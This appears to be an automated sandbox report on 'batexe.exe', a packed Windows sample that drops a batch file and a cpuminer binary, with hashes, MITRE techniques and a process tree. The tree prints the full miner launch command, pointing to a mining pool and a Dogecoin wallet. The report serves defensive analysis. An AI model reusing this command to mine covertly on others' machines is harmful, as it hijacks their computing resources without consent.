73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
302s
max time network
307s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 13:57

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
2932	b2e.exe
4852	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4852	cpuminer-sse2.exe
4852	cpuminer-sse2.exe
4852	cpuminer-sse2.exe
4852	cpuminer-sse2.exe
4852	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2940-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2940 wrote to memory of 2932	2940	batexe.exe	85
PID 2940 wrote to memory of 2932	2940	batexe.exe	85
PID 2940 wrote to memory of 2932	2940	batexe.exe	85
PID 2932 wrote to memory of 4912	2932	b2e.exe	86
PID 2932 wrote to memory of 4912	2932	b2e.exe	86
PID 2932 wrote to memory of 4912	2932	b2e.exe	86
PID 4912 wrote to memory of 4852	4912	cmd.exe	89
PID 4912 wrote to memory of 4852	4912	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Users\Admin\AppData\Local\Temp\8A88.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8A88.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8A88.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9536.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4912
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8A88.tmp\b2e.exe

Filesize
3.1MB

MD5
9be8e006105ef142ccd97000d6be0cfb

SHA1
04367da6c785bf0625f540ce24d1994b1de11a31

SHA256
fed7ebbc085573053a8678af515e2f356b14b5668c665c21075a46635b57f10c

SHA512
910af4791876031265b391b2e0932bb732f7ef341fa0e1a50189851014bfd16c7eea73fa229713bf3636535574f2e9fefa2081e15135addd2c6c169d592ccc6f

Download Submit
C:\Users\Admin\AppData\Local\Temp\8A88.tmp\b2e.exe

Filesize
3.1MB

MD5
488416ac1d41d9c1c5905af8e43a3a6e

SHA1
671df3ef68df6b9bf0fd6e560dc12907561e1ba1

SHA256
742a7baf256d6f7ad914902942d1034a4a8f1c9537050b11979f7b6cd98929ad

SHA512
f73ca06a81b405122db608365f865d068416e82af522afcc928cc02a7d5fa888493b40ac463dfef147d82dd5c9431b06cee606c074a34268fbd28d3c48a2c884

Download Submit
C:\Users\Admin\AppData\Local\Temp\8A88.tmp\b2e.exe

Filesize
2.9MB

MD5
108464ce92ca4cdd9a72f017b343c1cf

SHA1
a3eb2fe4f696b52d2af137740bc8d8e47e0bfb05

SHA256
f4ede56c631c2b5c6a1c311a2714fd3acdfba6d2793ed88491f0a374c1ed944e

SHA512
7535c44b106d1a2c3aa12bcebbdbfd466e8bfdface08ab30b4be659825096c46592f021fd0dd9d5c2894348ac779656a93a62017547b0517b45c3529ca1eb299

Download Submit
C:\Users\Admin\AppData\Local\Temp\9536.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
619cb5a4229294be3a2a6c5f02547289

SHA1
d35fb3be5fc00a8af3440d9bc951161aeb3b4184

SHA256
9c3ef2f28a9451df6bf56bb9bc173cb6a896c2b88eaacf222dfaa200243b8349

SHA512
70473aabdfcb5f7ea5efc779a56b2cfb66cf0da3b6c49065f9705d575f00c74536a4acd5e65212fb848882b84b286e00e4c66195706edaef931d3a0ae0e8557b

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
5e67d123eae32ce9a20e0e96eb8ff395

SHA1
52a99e08cd0575eaa0c496c0c44b23034fa450d8

SHA256
5459d113df4385a9089949a41ce7a6c4a00b8a8709e76a4fe03b4eda6dc98f5c

SHA512
34a774aa65a4f68aed5bb033465f28d3382ffe06c9ab55bfbabcb7c3ccc01d1d94b691e94b4e65d15fedd159083694cc5868251a2bde024659788bf3ec3a3f9d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
5d1c3c42e57ba612021b2429b54093cd

SHA1
173ee2208c7d070cf5ab56b9af2542f8a671812e

SHA256
1cf21d07fef3d8cbc9b950bd0a02cc93744d475f3a0164c08b499e638bf85a87

SHA512
9d6a274329c06334f55327223f58a9c522c404912aa24557d3a3e586867636e5bff936a7619424556bdb78d30bcaf5eee871681f9834e1b85ae0342948c16f9c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
74366695341334ed473c1bb0f8efce06

SHA1
bbdd58401599375f1e01f4db3e3afc7e43e15962

SHA256
73dfdc0d6ceaaf3568c4bef833b8aa306992742ff95c884d49a5e1355f60988c

SHA512
a2698629eb9add3fa942eac61019fa36d8489477bac7d9a05ac6d1c1584bd183ba26764e3209f9af5f6b840a94d21cea9541338610c5ae015b599abd23f90309

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
23046d05a8ef61bf3b9896c502012cce

SHA1
b86747f8a3c04c7758dfdf3396f1c700086c8eac

SHA256
98cee933a700c7e2ffc97c16489faf959ef9d0c01ca5ebcf3decb1a46ec0e611

SHA512
bdf3234bb4e14a0a2344528c6013fc161017a099d977d7588bb098dde14cc408c00b02fd51e7df23ff8bac91c7c0675d018a86e2d429da1177308f6de1226a3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2932-58-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2932-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2940-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4852-46-0x000000006F190000-0x000000006F228000-memory.dmp

Filesize
608KB

Download
memory/4852-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4852-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4852-47-0x0000000000EE0000-0x0000000002795000-memory.dmp

Filesize
24.7MB

Download
memory/4852-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4852-53-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4852-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4852-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4852-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4852-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4852-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4852-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4852-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4852-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4852-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4852-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download